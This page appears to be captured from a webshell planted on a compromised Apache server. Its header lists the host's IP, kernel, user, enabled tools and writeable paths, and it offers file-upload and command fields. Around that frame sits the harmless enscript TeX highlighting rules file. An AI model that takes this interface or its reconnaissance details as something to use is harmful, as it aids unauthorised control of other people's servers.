403Webshell
Server IP : 104.21.25.180  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/enscript/hl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/enscript/hl/tex.st
/**
 * Name: tex
 * Description: TeX/LaTeX command, comment and math highlighting.
 * Author: Toni Giorgino <[email protected]>
 */

/* Syntactically highlights _every_ TeX command.  A more specialized
 * LaTeX mode might instead operate by keyword, eg. reproducing text
 * emphasis and boldface, perhaps cluttering the output too much.
 * Label and reference highlighting is a better candidate for a To Do
 * list.  Please report modifications.     TG
 */

state tex extends HighlightEntry
{
  /* escaped comment mark */
  /\\\\%/ {
    language_print ($0);
  }

  /* comment */
  /%/ {
    comment_face (true);
    language_print ($0);
    call (eat_one_line);
    comment_face (false);
  }

  /* one non-letter commands */
  /\\\\[^[:alpha:]]/ {
    keyword_face (true);
    language_print ($0);
    keyword_face (false);
  }

  /* multi letter commands */
  /\\\\[[:alpha:]]+/ {
    keyword_face (true);
    language_print ($0);
    keyword_face (false);
  }

  /* display math environment */
  /\$\$[^$]+\$\$/ {
    string_face (true);
    language_print ($0);
    string_face (false);
  }

  /* inline math environment */
  /\$[^$]+\$/ {
    variable_name_face (true);
    language_print ($0);
    variable_name_face (false);
   }
}


/*
Local variables:
mode: c
End:
*/

Youez - 2016 - github.com/yon3zu
LinuXploit